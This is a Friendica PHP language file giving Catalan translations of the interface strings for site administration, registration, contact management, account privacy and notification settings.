$a->strings["Disallow public access to addons listed in the apps menu."] = "Deshabilita el accés públic als complements llistats al menu d'aplicacions";
$a->strings["Checking this box will restrict addons listed in the apps menu to members only."] = "Marcant això restringiras els complements llistats al menú d'aplicacions al membres";
$a->strings["Don't embed private images in posts"] = "No incrustar imatges en missatges privats";
$a->strings["Don't replace locally-hosted private photos in posts with an embedded copy of the image. This means that contacts who receive posts containing private photos will have to authenticate and load each image, which may take a while."] = "No reemplaçar les fotos privades hospedades localment en missatges amb una còpia de l'imatge embeguda. Això vol dir que els contactes que rebin el missatge contenint fotos privades s'ha d'autenticar i carregar cada imatge, amb el que pot suposar bastant temps.";
$a->strings["Block multiple registrations"] = "Bloquejar multiples registracions";
$a->strings["Disallow users to register additional accounts for use as pages."] = "Inhabilita als usuaris el crear comptes adicionals per a usar com a pàgines.";
$a->strings["OpenID support"] = "Suport per a OpenID";
$a->strings["OpenID support for registration and logins."] = "Suport per a registre i validació a OpenID.";
$a->strings["Fullname check"] = "Comprobació de nom complet";
$a->strings["Force users to register with a space between firstname and lastname in Full name, as an antispam measure"] = "Obliga els usuaris a col·locar un espai en blanc entre nom i cognoms, com a mesura antispam";
$a->strings["UTF-8 Regular expressions"] = "expresions regulars UTF-8";
$a->strings["Use PHP UTF8 regular expressions"] = "Empri expresions regulars de PHP amb format UTF8";
$a->strings["Show Community Page"] = "Mostra la Pàgina de Comunitat";
$a->strings["Display a Community page showing all recent public postings on this site."] = "Mostra a la pàgina de comunitat tots els missatges públics recents, d'aquest lloc.";
$a->strings["Enable OStatus support"] = "Activa el suport per a OStatus";
$a->strings["Provide built-in OStatus (identi.ca, status.net, etc.) compatibility. All communications in OStatus are public, so privacy warnings will be occasionally displayed."] = "Proveeix de compatibilitat integrada amb OStatus (identi.ca, status.net, etc). Totes les comunicacions a OStatus són públiques amb el que ocasionalment pots veure advertències.";
$a->strings["OStatus conversation completion interval"] = "Interval de conclusió de la conversació a OStatus";
$a->strings["How often shall the poller check for new entries in OStatus conversations? This can be a very ressource task."] = "Com de sovint el sondejador ha de comprovar les noves conversacions entrades a OStatus? Això pot implicar una gran càrrega de treball.";
$a->strings["Enable Diaspora support"] = "Habilitar suport per Diaspora";
$a->strings["Provide built-in Diaspora network compatibility."] = "Proveeix compatibilitat integrada amb la xarxa Diaspora";
$a->strings["Only allow Friendica contacts"] = "Només permetre contactes de Friendica";
$a->strings["All contacts must use Friendica protocols. All other built-in communication protocols disabled."] = "Tots els contactes ";
$a->strings["Verify SSL"] = "Verificar SSL";
$a->strings["If you wish, you can turn on strict certificate checking. This will mean you cannot connect (at all) to self-signed SSL sites."] = "Si ho vols, pots comprovar el certificat estrictament. Això farà que no puguis connectar (de cap manera) amb llocs amb certificats SSL autosignats.";
$a->strings["Proxy user"] = "proxy d'usuari";
$a->strings["Proxy URL"] = "URL del proxy";
$a->strings["Network timeout"] = "Temps excedit a la xarxa";
$a->strings["Value is in seconds. Set to 0 for unlimited (not recommended)."] = "Valor en segons. Canviat a 0 es sense límits (no recomenat)";
$a->strings["Delivery interval"] = "Interval d'entrega";
$a->strings["Delay background delivery processes by this many seconds to reduce system load. Recommend: 4-5 for shared hosts, 2-3 for virtual private servers. 0-1 for large dedicated servers."] = "Retardar processos d'entrega, en segon pla, en aquesta quantitat de segons, per reduir la càrrega del sistema . Recomanem : 4-5 per als servidors compartits , 2-3 per a servidors privats virtuals . 0-1 per els grans servidors dedicats.";
$a->strings["Poll interval"] = "Interval entre sondejos";
$a->strings["Delay background polling processes by this many seconds to reduce system load. If 0, use delivery interval."] = "Endarrerir els processos de sondeig en segon pla durant aquest període, en segons, per tal de reduir la càrrega de treball del sistema, Si s'empra 0, s'utilitza l'interval d'entregues. ";
$a->strings["Maximum Load Average"] = "Càrrega Màxima Sostinguda";
$a->strings["Maximum system load before delivery and poll processes are deferred - default 50."] = "Càrrega màxima del sistema abans d'apaçar els processos d'entrega i sondeig - predeterminat a 50.";
$a->strings["Use MySQL full text engine"] = "Emprar el motor de text complet de MySQL";
$a->strings["Activates the full text engine. Speeds up search - but can only search for four and more characters."] = "Activa el motos de text complet. Accelera les cerques pero només pot cercar per quatre o més caracters.";
$a->strings["Path to item cache"] = "Camí cap a la caché de l'article";
$a->strings["Cache duration in seconds"] = "Duració de la caché en segons";
$a->strings["How long should the cache files be hold? Default value is 86400 seconds (One day)."] = "Quan de temps s'han de mantenir els fitxers a la caché?. El valor per defecte son 86400 segons (un dia).";
$a->strings["Path for lock file"] = "Camí per a l'arxiu bloquejat";
$a->strings["Temp path"] = "Camí a carpeta temporal";
$a->strings["Base path to installation"] = "Trajectoria base per a instal·lar";
$a->strings["Update has been marked successful"] = "L'actualització ha estat marcada amb èxit";
$a->strings["Executing %s failed. Check system logs."] = "Ha fracassat l'execució de %s. Comprova el registre del sistema.";
$a->strings["Update %s was successfully applied."] = "L'actualització de %s es va aplicar amb èxit.";
$a->strings["Update %s did not return a status. Unknown if it succeeded."] = "L'actualització de %s no ha retornat el seu estatus. Es desconeix si ha estat amb èxit.";
$a->strings["Update function %s could not be found."] = "L'actualització de la funció %s no es pot trobar.";
$a->strings["No failed updates."] = "No hi ha actualitzacions fallides.";
$a->strings["Failed Updates"] = "Actualitzacions Fallides";
$a->strings["This does not include updates prior to 1139, which did not return a status."] = "Això no inclou actualitzacions anteriors a 1139, raó per la que no ha retornat l'estatus.";
$a->strings["Mark success (if update was manually applied)"] = "Marcat am èxit (si l'actualització es va fer manualment)";
$a->strings["Attempt to execute this update step automatically"] = "Intentant executar aquest pas d'actualització automàticament";
$a->strings["%s user blocked/unblocked"] = array(
0 => "%s usuari bloquejar/desbloquejar",
1 => "%s usuaris bloquejar/desbloquejar",
);
$a->strings["%s user deleted"] = array(
0 => "%s usuari esborrat",
1 => "%s usuaris esborrats",
);
$a->strings["User '%s' deleted"] = "Usuari %s' esborrat";
$a->strings["User '%s' unblocked"] = "Usuari %s' desbloquejat";
$a->strings["User '%s' blocked"] = "L'usuari '%s' és bloquejat";
$a->strings["select all"] = "Seleccionar tot";
$a->strings["User registrations waiting for confirm"] = "Registre d'usuari esperant confirmació";
$a->strings["Request date"] = "Data de sol·licitud";
$a->strings["Name"] = "Nom";
$a->strings["No registrations."] = "Sense registres.";
$a->strings["Approve"] = "Aprovar";
$a->strings["Deny"] = "Denegar";
$a->strings["Block"] = "Bloquejar";
$a->strings["Unblock"] = "Desbloquejar";
$a->strings["Site admin"] = "Administrador del lloc";
$a->strings["Account expired"] = "Compte expirat";
$a->strings["Register date"] = "Data de registre";
$a->strings["Last login"] = "Últim accés";
$a->strings["Last item"] = "Últim element";
$a->strings["Account"] = "Compte";
$a->strings["Selected users will be deleted!\\n\\nEverything these users had posted on this site will be permanently deleted!\\n\\nAre you sure?"] = "Els usuaris seleccionats seran esborrats!\\n\\nqualsevol cosa que aquests usuaris hagin publicat en aquest lloc s'esborrarà!\\n\\nEsteu segur?";
$a->strings["The user {0} will be deleted!\\n\\nEverything this user has posted on this site will be permanently deleted!\\n\\nAre you sure?"] = "L'usuari {0} s'eliminarà!\\n\\nQualsevol cosa que aquest usuari hagi publicat en aquest lloc s'esborrarà!\\n\\nEsteu segur?";
$a->strings["Plugin %s disabled."] = "Plugin %s deshabilitat.";
$a->strings["Plugin %s enabled."] = "Plugin %s habilitat.";
$a->strings["Disable"] = "Deshabilitar";
$a->strings["Enable"] = "Habilitar";
$a->strings["Toggle"] = "Canviar";
$a->strings["Author: "] = "Autor:";
$a->strings["Maintainer: "] = "Responsable:";
$a->strings["No themes found."] = "No s'ha trobat temes.";
$a->strings["Screenshot"] = "Captura de pantalla";
$a->strings["[Experimental]"] = "[Experimental]";
$a->strings["[Unsupported]"] = "[No soportat]";
$a->strings["Log settings updated."] = "Configuració del registre actualitzada.";
$a->strings["Clear"] = "Netejar";
$a->strings["Enable Debugging"] = "Habilitar Depuració";
$a->strings["Log file"] = "Arxiu de registre";
$a->strings["Must be writable by web server. Relative to your Friendica top-level directory."] = "Ha de tenir permisos d'escriptura pel servidor web. En relació amb el seu directori Friendica de nivell superior.";
$a->strings["Log level"] = "Nivell de transcripció";
$a->strings["Update now"] = "Actualitza ara";
$a->strings["Close"] = "Tancar";
$a->strings["FTP Host"] = "Amfitrió FTP";
$a->strings["FTP Path"] = "Direcció FTP";
$a->strings["FTP User"] = "Usuari FTP";
$a->strings["FTP Password"] = "<PASSWORD>";
$a->strings["Unable to locate original post."] = "No es pot localitzar post original.";
$a->strings["Empty post discarded."] = "Buidat després de rebutjar.";
$a->strings["System error. Post not saved."] = "Error del sistema. Publicació no guardada.";
$a->strings["This message was sent to you by %s, a member of the Friendica social network."] = "Aquest missatge va ser enviat a vostè per %s, un membre de la xarxa social Friendica.";
$a->strings["You may visit them online at %s"] = "El pot visitar en línia a %s";
$a->strings["Please contact the sender by replying to this post if you do not wish to receive these messages."] = "Si us plau, poseu-vos en contacte amb el remitent responent a aquest missatge si no voleu rebre aquests missatges.";
$a->strings["%s posted an update."] = "%s ha publicat una actualització.";
$a->strings["Friends of %s"] = "Amics de %s";
$a->strings["No friends to display."] = "No hi ha amics que mostrar";
$a->strings["Remove term"] = "Traieu termini";
$a->strings["No results."] = "Sense resultats.";
$a->strings["Authorize application connection"] = "Autoritzi la connexió de aplicacions";
$a->strings["Return to your app and insert this Securty Code:"] = "Torni a la seva aplicació i inserti aquest Codi de Seguretat:";
$a->strings["Please login to continue."] = "Per favor, accedeixi per a continuar.";
$a->strings["Do you want to authorize this application to access your posts and contacts, and/or create new posts for you?"] = "Vol autoritzar a aquesta aplicació per accedir als teus missatges i contactes, i/o crear nous enviaments per a vostè?";
$a->strings["Registration details for %s"] = "Detalls del registre per a %s";
$a->strings["Registration successful. Please check your email for further instructions."] = "Registrat amb èxit. Per favor, comprovi el seu correu per a posteriors instruccions.";
$a->strings["Failed to send email message. Here is the message that failed."] = "Error en enviar missatge de correu electrònic. Aquí està el missatge que ha fallat.";
$a->strings["Your registration can not be processed."] = "El seu registre no pot ser processat.";
$a->strings["Registration request at %s"] = "Sol·licitud de registre a %s";
$a->strings["Your registration is pending approval by the site owner."] = "El seu registre està pendent d'aprovació pel propietari del lloc.";
$a->strings["This site has exceeded the number of allowed daily account registrations. Please try again tomorrow."] = "Aquest lloc excedeix el nombre diari de registres de comptes. Per favor, provi de nou demà.";
$a->strings["You may (optionally) fill in this form via OpenID by supplying your OpenID and clicking 'Register'."] = "Vostè pot (opcionalment), omplir aquest formulari a través de OpenID mitjançant el subministrament de la seva OpenID i fent clic a 'Registrar'.";
$a->strings["If you are not familiar with OpenID, please leave that field blank and fill in the rest of the items."] = "Si vostè no està familiaritzat amb Twitter, si us plau deixi aquest camp en blanc i completi la resta dels elements.";
$a->strings["Your OpenID (optional): "] = "El seu OpenID (opcional):";
$a->strings["Include your profile in member directory?"] = "Incloc el seu perfil al directori de membres?";
$a->strings["Membership on this site is by invitation only."] = "Lloc accesible mitjançant invitació.";
$a->strings["Your invitation ID: "] = "El teu ID de invitació:";
$a->strings["Your Full Name (e.g. <NAME>): "] = "El seu nom complet (per exemple, <NAME>):";
$a->strings["Your Email Address: "] = "La Seva Adreça de Correu:";
$a->strings["Choose a profile nickname. This must begin with a text character. Your profile address on this site will then be '<strong>nickname@\$sitename</strong>'."] = "Tria un nom de perfil. Això ha de començar amb un caràcter de text. La seva adreça de perfil en aquest lloc serà '<strong>alies@\$sitename</strong>'.";
$a->strings["Choose a nickname: "] = "Tria un àlies:";
$a->strings["Account approved."] = "Compte aprovat.";
$a->strings["Registration revoked for %s"] = "Procés de Registre revocat per a %s";
$a->strings["Please login."] = "Si us plau, ingressa.";
$a->strings["Item not available."] = "Element no disponible";
$a->strings["Item was not found."] = "Element no trobat.";
$a->strings["Remove My Account"] = "Eliminar el Meu Compte";
$a->strings["This will completely remove your account. Once this has been done it is not recoverable."] = "Això eliminarà per complet el seu compte. Quan s'hagi fet això, no serà recuperable.";
$a->strings["Please enter your password for verification:"] = "Si us plau, introduïu la contrasenya per a la verificació:";
$a->strings["Source (bbcode) text:"] = "Text Codi (bbcode): ";
$a->strings["Source (Diaspora) text to convert to BBcode:"] = "Font (Diaspora) Convertir text a BBcode";
$a->strings["Source input: "] = "Entrada de Codi:";
$a->strings["bb2html (raw HTML): "] = "bb2html (raw HTML): ";
$a->strings["bb2html: "] = "bb2html: ";
$a->strings["bb2html2bb: "] = "bb2html2bb: ";
$a->strings["bb2md: "] = "bb2md: ";
$a->strings["bb2md2html: "] = "bb2md2html: ";
$a->strings["bb2dia2bb: "] = "bb2dia2bb: ";
$a->strings["bb2md2html2bb: "] = "bb2md2html2bb: ";
$a->strings["Source input (Diaspora format): "] = "Font d'entrada (format de Diaspora)";
$a->strings["diaspora2bb: "] = "diaspora2bb: ";
$a->strings["Common Friends"] = "Amics Comuns";
$a->strings["No contacts in common."] = "Sense contactes en comú.";
$a->strings["You must be logged in to use addons. "] = "T'has d'identificar per emprar els complements";
$a->strings["Applications"] = "Aplicacions";
$a->strings["No installed applications."] = "Aplicacions no instal·lades.";
$a->strings["Could not access contact record."] = "No puc accedir al registre del contacte.";
$a->strings["Could not locate selected profile."] = "No puc localitzar el perfil seleccionat.";
$a->strings["Contact updated."] = "Contacte actualitzat.";
$a->strings["Failed to update contact record."] = "Error en actualitzar registre de contacte.";
$a->strings["Contact has been blocked"] = "Elcontacte ha estat bloquejat";
$a->strings["Contact has been unblocked"] = "El contacte ha estat desbloquejat";
$a->strings["Contact has been ignored"] = "El contacte ha estat ignorat";
$a->strings["Contact has been unignored"] = "El contacte ha estat recordat";
$a->strings["Contact has been archived"] = "El contacte ha estat arxivat";
$a->strings["Contact has been unarchived"] = "El contacte ha estat desarxivat";
$a->strings["Do you really want to delete this contact?"] = "Realment vols esborrar aquest contacte?";
$a->strings["Contact has been removed."] = "El contacte ha estat tret";
$a->strings["You are mutual friends with %s"] = "Ara te una amistat mutua amb %s";
$a->strings["You are sharing with %s"] = "Estas compartint amb %s";
$a->strings["%s is sharing with you"] = "%s esta compartint amb tú";
$a->strings["Private communications are not available for this contact."] = "Comunicacions privades no disponibles per aquest contacte.";
$a->strings["(Update was successful)"] = "(L'actualització fou exitosa)";
$a->strings["(Update was not successful)"] = "(L'actualització fracassà)";
$a->strings["Suggest friends"] = "Suggerir amics";
$a->strings["Network type: %s"] = "Xarxa tipus: %s";
$a->strings["View all contacts"] = "Veure tots els contactes";
$a->strings["Toggle Blocked status"] = "Canvi de estatus blocat";
$a->strings["Unignore"] = "Treure d'Ignorats";
$a->strings["Ignore"] = "Ignorar";
$a->strings["Toggle Ignored status"] = "Canvi de estatus ignorat";
$a->strings["Unarchive"] = "Desarxivat";
$a->strings["Archive"] = "Arxivat";
$a->strings["Toggle Archive status"] = "Canvi de estatus del arxiu";
$a->strings["Repair"] = "Reparar";
$a->strings["Advanced Contact Settings"] = "Ajustos Avançats per als Contactes";
$a->strings["Communications lost with this contact!"] = "La comunicació amb aquest contacte s'ha perdut!";
$a->strings["Contact Editor"] = "Editor de Contactes";
$a->strings["Profile Visibility"] = "Perfil de Visibilitat";
$a->strings["Please choose the profile you would like to display to %s when viewing your profile securely."] = "Si us plau triï el perfil que voleu mostrar a %s quan estigui veient el teu de forma segura.";
$a->strings["Contact Information / Notes"] = "Informació/Notes del contacte";
$a->strings["Edit contact notes"] = "Editar notes de contactes";
$a->strings["Block/Unblock contact"] = "Bloquejar/Alliberar contacte";
$a->strings["Ignore contact"] = "Ignore contacte";
$a->strings["Repair URL settings"] = "Restablir configuració de URL";
$a->strings["View conversations"] = "Veient conversacions";
$a->strings["Delete contact"] = "Esborrar contacte";
$a->strings["Last update:"] = "Última actualització:";
$a->strings["Update public posts"] = "Actualitzar enviament públic";
$a->strings["Currently blocked"] = "Bloquejat actualment";
$a->strings["Currently ignored"] = "Ignorat actualment";
$a->strings["Currently archived"] = "Actualment arxivat";
$a->strings["Hide this contact from others"] = "Amaga aquest contacte dels altres";
$a->strings["Replies/likes to your public posts <strong>may</strong> still be visible"] = "Répliques/agraiments per als teus missatges públics <strong>poden</strong> romandre visibles";
$a->strings["Suggestions"] = "Suggeriments";
$a->strings["Suggest potential friends"] = "Suggerir amics potencials";
$a->strings["All Contacts"] = "Tots els Contactes";
$a->strings["Show all contacts"] = "Mostrar tots els contactes";
$a->strings["Unblocked"] = "Desblocat";
$a->strings["Only show unblocked contacts"] = "Mostrar únicament els contactes no blocats";
$a->strings["Blocked"] = "Blocat";
$a->strings["Only show blocked contacts"] = "Mostrar únicament els contactes blocats";
$a->strings["Ignored"] = "Ignorat";
$a->strings["Only show ignored contacts"] = "Mostrar únicament els contactes ignorats";
$a->strings["Archived"] = "Arxivat";
$a->strings["Only show archived contacts"] = "Mostrar únicament els contactes arxivats";
$a->strings["Hidden"] = "Amagat";
$a->strings["Only show hidden contacts"] = "Mostrar únicament els contactes amagats";
$a->strings["Mutual Friendship"] = "Amistat Mutua";
$a->strings["is a fan of yours"] = "Es un fan teu";
$a->strings["you are a fan of"] = "ets fan de";
$a->strings["Search your contacts"] = "Cercant el seus contactes";
$a->strings["Finding: "] = "Cercant:";
$a->strings["everybody"] = "tothom";
$a->strings["Additional features"] = "Característiques Adicionals";
$a->strings["Display settings"] = "Ajustos de pantalla";
$a->strings["Connector settings"] = "Configuració dels connectors";
$a->strings["Plugin settings"] = "Configuració del plugin";
$a->strings["Connected apps"] = "App connectada";
$a->strings["Export personal data"] = "Exportar dades personals";
$a->strings["Remove account"] = "Esborrar compte";
$a->strings["Missing some important data!"] = "Perdudes algunes dades importants!";
$a->strings["Update"] = "Actualitzar";
$a->strings["Failed to connect with email account using the settings provided."] = "Connexió fracassada amb el compte de correu emprant la configuració proveïda.";
$a->strings["Email settings updated."] = "Configuració del correu electrònic actualitzada.";
$a->strings["Features updated"] = "Característiques actualitzades";
$a->strings["Passwords do not match. Password unchanged."] = "Les contrasenyes no coincideixen. Contrasenya no canviada.";
$a->strings["Empty passwords are not allowed. Password unchanged."] = "No es permeten contasenyes buides. Contrasenya no canviada";
$a->strings["Wrong password."] = "Contrasenya errònia";
$a->strings["Password changed."] = "Contrasenya canviada.";
$a->strings["Password update failed. Please try again."] = "Ha fallat l'actualització de la Contrasenya. Per favor, intenti-ho de nou.";
$a->strings[" Please use a shorter name."] = "Si us plau, faci servir un nom més curt.";
$a->strings[" Name too short."] = "Nom massa curt.";
$a->strings["Wrong Password"] = "<PASSWORD>";
$a->strings[" Not valid email."] = "Correu no vàlid.";
$a->strings[" Cannot change to that email."] = "No puc canviar a aquest correu.";
$a->strings["Private forum has no privacy permissions. Using default privacy group."] = "Els Fòrums privats no tenen permisos de privacitat. Empra la privacitat de grup per defecte.";
$a->strings["Private forum has no privacy permissions and no default privacy group."] = "Els Fòrums privats no tenen permisos de privacitat i tampoc privacitat per defecte de grup.";
$a->strings["Settings updated."] = "Ajustos actualitzats.";
$a->strings["Add application"] = "Afegir aplicació";
$a->strings["Consumer Key"] = "Consumer Key";
$a->strings["Consumer Secret"] = "Consumer Secret";
$a->strings["Redirect"] = "Redirigir";
$a->strings["Icon url"] = "icona de url";
$a->strings["You can't edit this application."] = "No pots editar aquesta aplicació.";
$a->strings["Connected Apps"] = "Aplicacions conectades";
$a->strings["Edit"] = "Editar";
$a->strings["Client key starts with"] = "Les claus de client comançen amb";
$a->strings["No name"] = "Sense nom";
$a->strings["Remove authorization"] = "retirar l'autorització";
$a->strings["No Plugin settings configured"] = "No s'han configurat ajustos de Plugin";
$a->strings["Plugin Settings"] = "Ajustos de Plugin";
$a->strings["Off"] = "Apagat";
$a->strings["On"] = "Engegat";
$a->strings["Additional Features"] = "Característiques Adicionals";
$a->strings["Built-in support for %s connectivity is %s"] = "El suport integrat per a la connectivitat de %s és %s";
$a->strings["enabled"] = "habilitat";
$a->strings["disabled"] = "deshabilitat";
$a->strings["StatusNet"] = "StatusNet";
$a->strings["Email access is disabled on this site."] = "L'accés al correu està deshabilitat en aquest lloc.";
$a->strings["Connector Settings"] = "Configuració de connectors";
$a->strings["Email/Mailbox Setup"] = "Preparació de Correu/Bústia";
$a->strings["If you wish to communicate with email contacts using this service (optional), please specify how to connect to your mailbox."] = "Si vol comunicar-se amb els contactes de correu emprant aquest servei (opcional), Si us plau, especifiqui com connectar amb la seva bústia.";
$a->strings["Last successful email check:"] = "Última comprovació de correu amb èxit:";
$a->strings["IMAP server name:"] = "Nom del servidor IMAP:";
$a->strings["IMAP port:"] = "Port IMAP:";
$a->strings["Security:"] = "Seguretat:";
$a->strings["None"] = "Cap";
$a->strings["Email login name:"] = "Nom d'usuari del correu";
$a->strings["Email password:"] = "Contrasenya del correu:";
$a->strings["Reply-to address:"] = "Adreça de resposta:";
$a->strings["Send public posts to all email contacts:"] = "Enviar correu públic a tots els contactes del correu:";
$a->strings["Action after import:"] = "Acció després d'importar:";
$a->strings["Mark as seen"] = "Marcar com a vist";
$a->strings["Move to folder"] = "Moure a la carpeta";
$a->strings["Move to folder:"] = "Moure a la carpeta:";
$a->strings["Display Settings"] = "Ajustos de Pantalla";
$a->strings["Display Theme:"] = "Visualitzar el Tema:";
$a->strings["Mobile Theme:"] = "Tema Mobile:";
$a->strings["Update browser every xx seconds"] = "Actualitzar navegador cada xx segons";
$a->strings["Minimum of 10 seconds, no maximum"] = "Mínim cada 10 segons, no hi ha màxim";
$a->strings["Number of items to display per page:"] = "Número d'elements a mostrar per pàgina";
$a->strings["Maximum of 100 items"] = "Màxim de 100 elements";
$a->strings["Number of items to display per page when viewed from mobile device:"] = "Nombre d'elements a veure per pàgina quan es vegin des d'un dispositiu mòbil:";
$a->strings["Don't show emoticons"] = "No mostrar emoticons";
$a->strings["Normal Account Page"] = "Pàgina Normal del Compte ";
$a->strings["This account is a normal personal profile"] = "Aques compte es un compte personal normal";
$a->strings["Soapbox Page"] = "Pàgina de Soapbox";
$a->strings["Automatically approve all connection/friend requests as read-only fans"] = "Aprova automàticament totes les sol·licituds de amistat/connexió com a fans de només lectura.";
$a->strings["Community Forum/Celebrity Account"] = "Compte de Comunitat/Celebritat";
$a->strings["Automatically approve all connection/friend requests as read-write fans"] = "Aprova automàticament totes les sol·licituds de amistat/connexió com a fans de lectura-escriptura";
$a->strings["Automatic Friend Page"] = "Compte d'Amistat Automàtica";
$a->strings["Automatically approve all connection/friend requests as friends"] = "Aprova totes les sol·licituds de amistat/connexió com a amic automàticament";
$a->strings["Private Forum [Experimental]"] = "Fòrum Privat [Experimental]";
$a->strings["Private forum - approved members only"] = "Fòrum privat - Només membres aprovats";
$a->strings["OpenID:"] = "OpenID:";
$a->strings["(Optional) Allow this OpenID to login to this account."] = "(Opcional) Permetre a aquest OpenID iniciar sessió en aquest compte.";
$a->strings["Publish your default profile in your local site directory?"] = "Publicar el teu perfil predeterminat en el directori del lloc local?";
$a->strings["Publish your default profile in the global social directory?"] = "Publicar el teu perfil predeterminat al directori social global?";
$a->strings["Hide your contact/friend list from viewers of your default profile?"] = "Amaga la teva llista de contactes/amics dels espectadors del seu perfil per defecte?";
$a->strings["Hide your profile details from unknown viewers?"] = "Amagar els detalls del seu perfil a espectadors desconeguts?";
$a->strings["Allow friends to post to your profile page?"] = "Permet als amics publicar en la seva pàgina de perfil?";
$a->strings["Allow friends to tag your posts?"] = "Permet als amics d'etiquetar els teus missatges?";
$a->strings["Allow us to suggest you as a potential friend to new members?"] = "Permeteu-nos suggerir-li com un amic potencial dels nous membres?";
$a->strings["Permit unknown people to send you private mail?"] = "Permetre a desconeguts enviar missatges al teu correu privat?";
$a->strings["Profile is <strong>not published</strong>."] = "El Perfil <strong>no està publicat</strong>.";
$a->strings["or"] = "o";
$a->strings["Your Identity Address is"] = "La seva Adreça d'Identitat és";
$a->strings["Automatically expire posts after this many days:"] = "Després de aquests nombre de dies, els missatges caduquen automàticament:";
$a->strings["If empty, posts will not expire. Expired posts will be deleted"] = "Si està buit, els missatges no caducarà. Missatges caducats s'eliminaran";
$a->strings["Advanced expiration settings"] = "Configuració avançada d'expiració";
$a->strings["Advanced Expiration"] = "Expiració Avançada";
$a->strings["Expire posts:"] = "Expiració d'enviaments";
$a->strings["Expire personal notes:"] = "Expiració de notes personals";
$a->strings["Expire starred posts:"] = "Expiració de enviaments de favorits";
$a->strings["Expire photos:"] = "Expiració de fotos";
$a->strings["Only expire posts by others:"] = "Només expiren els enviaments dels altres:";
$a->strings["Account Settings"] = "Ajustos de Compte";
$a->strings["Password Settings"] = "Ajustos de Contrasenya";
$a->strings["New Password:"] = "Nova Contrasenya:";
$a->strings["Confirm:"] = "Confirmar:";
$a->strings["Leave password fields blank unless changing"] = "Deixi els camps de contrasenya buits per a no fer canvis";
$a->strings["Current Password:"] = "Contrasenya Actual:";
$a->strings["Your current password to confirm the changes"] = "La teva actual contrasenya a fi de confirmar els canvis";
$a->strings["Password:"] = "Contrasenya:";
$a->strings["Basic Settings"] = "Ajustos Basics";
$a->strings["Email Address:"] = "Adreça de Correu:";
$a->strings["Your Timezone:"] = "La teva zona Horària:";
$a->strings["Default Post Location:"] = "Localització per Defecte del Missatge:";
$a->strings["Use Browser Location:"] = "Ubicar-se amb el Navegador:";
$a->strings["Security and Privacy Settings"] = "Ajustos de Seguretat i Privacitat";
$a->strings["Maximum Friend Requests/Day:"] = "Nombre Màxim de Sol·licituds per Dia";
$a->strings["(to prevent spam abuse)"] = "(per a prevenir abusos de spam)";
$a->strings["Default Post Permissions"] = "Permisos de Correu per Defecte";
$a->strings["(click to open/close)"] = "(clicar per a obrir/tancar)";
$a->strings["Show to Groups"] = "Mostrar en Grups";
$a->strings["Show to Contacts"] = "Mostrar a Contactes";
$a->strings["Default Private Post"] = "Missatges Privats Per Defecte";
$a->strings["Default Public Post"] = "Missatges Públics Per Defecte";
$a->strings["Default Permissions for New Posts"] = "Permisos Per Defecte per a Nous Missatges";
$a->strings["Maximum private messages per day from unknown people:"] = "Màxim nombre de missatges, per dia, de desconeguts:";
$a->strings["Notification Settings"] = "Ajustos de Notificació";
$a->strings["By default post a status message when:"] = "Enviar per defecte un missatge de estatus quan:";
$a->strings["accepting a friend request"] = "Acceptar una sol·licitud d'amistat";
$a->strings["joining a forum/community"] = "Unint-se a un fòrum/comunitat";
$a->strings["making an <em>interesting</em> profile change"] = "fent un <em interesant</em> canvi al perfil";
$a->strings["Send a notification email when:"] = "Envia un correu notificant quan:";
$a->strings["You receive an introduction"] = "Has rebut una presentació";
$a->strings["Your introductions are confirmed"] = "La teva presentació està confirmada";
$a->strings["Someone writes on your profile wall"] = "Algú ha escrit en el teu mur de perfil";
$a->strings["Someone writes a followup comment"] = "Algú ha escrit un comentari de seguiment";
$a->strings["You receive a private message"] = "Has rebut un missatge privat";
$a->strings["You receive a friend suggestion"] = "Has rebut una suggerencia d'un amic";
$a->strings["You are tagged in a post"] = "Estàs etiquetat en un enviament";
$a->strings["You are poked/prodded/etc. in a post"] = "Has estat Atiat/punxat/etc, en un enviament";
$a->strings["Advanced Account/Page Type Settings"] = "Ajustos Avançats de Compte/ Pàgina";
$a->strings["Change the behaviour of this account for special situations"] = "Canviar el comportament d'aquest compte en situacions especials";
$a->strings["link"] = "enllaç";
$a->strings["Contact settings applied."] = "Ajustos de Contacte aplicats.";
$a->strings["Contact update failed."] = "Fracassà l'actualització de Contacte";
$a->strings["Contact not found."] = "Contacte no trobat";
$a->strings["Repair Contact Settings"] = "Reposar els ajustos de Contacte";
$a->strings["<strong>WARNING: This is highly advanced</strong> and if you enter incorrect information your communications with this contact may stop working."] = "<strong>ADVERTÈNCIA: Això és molt avançat </strong> i si s'introdueix informació incorrecta la seva comunicació amb aquest contacte pot deixar de funcionar.";
$a->strings["Please use your browser 'Back' button <strong>now</strong> if you are uncertain what to do on this page."] = "Si us plau, prem el botó 'Tornar' <strong>ara</strong> si no saps segur que has de fer aqui.";
$a->strings["Return to contact editor"] = "Tornar al editor de contactes";
$a->strings["Account Nickname"] = "Àlies del Compte";
$a->strings["@Tagname - overrides Name/Nickname"] = "@Tagname - té prel·lació sobre Nom/Àlies";
$a->strings["Account URL"] = "Adreça URL del Compte";
$a->strings["Friend Request URL"] = "Adreça URL de sol·licitud d'Amistat";
$a->strings["Friend Confirm URL"] = "Adreça URL de confirmació d'Amic";
$a->strings["Notification Endpoint URL"] = "Adreça URL de Notificació";
$a->strings["Poll/Feed URL"] = "Adreça de Enquesta/Alimentador";
$a->strings["New photo from this URL"] = "Nova foto d'aquesta URL";
$a->strings["No potential page delegates located."] = "No es troben pàgines potencialment delegades.";
$a->strings["Delegates are able to manage all aspects of this account/page except for basic account settings. Please do not delegate your personal account to anybody that you do not trust completely."] = "Els delegats poden gestionar tots els aspectes d'aquest compte/pàgina, excepte per als ajustaments bàsics del compte. Si us plau, no deleguin el seu compte personal a ningú que no confiïn completament.";
$a->strings["Existing Page Managers"] = "Actuals Administradors de Pàgina";
$a->strings["Existing Page Delegates"] = "Actuals Delegats de Pàgina";
$a->strings["Potential Delegates"] = "Delegats Potencials";
$a->strings["Remove"] = "Esborrar";
$a->strings["Add"] = "Afegir";
$a->strings["No entries."] = "Sense entrades";
$a->strings["Poke/Prod"] = "Atia/Punxa";
$a->strings["poke, prod or do other things to somebody"] = "Atiar, punxar o fer altres coses a algú";
$a->strings["Recipient"] = "Recipient";
$a->strings["Choose what you wish to do to recipient"] = "Tria que vols fer amb el contenidor";
$a->strings["Make this post private"] = "Fes aquest missatge privat";
$a->strings["This may occasionally happen if contact was requested by both persons and it has already been approved."] = "Això pot ocorre ocasionalment si el contacte fa una petició per ambdues persones i ja han estat aprovades.";
$a->strings["Response from remote site was not understood."] = "La resposta des del lloc remot no s'entenia.";
$a->strings["Unexpected response from remote site: "] = "Resposta inesperada de lloc remot:";
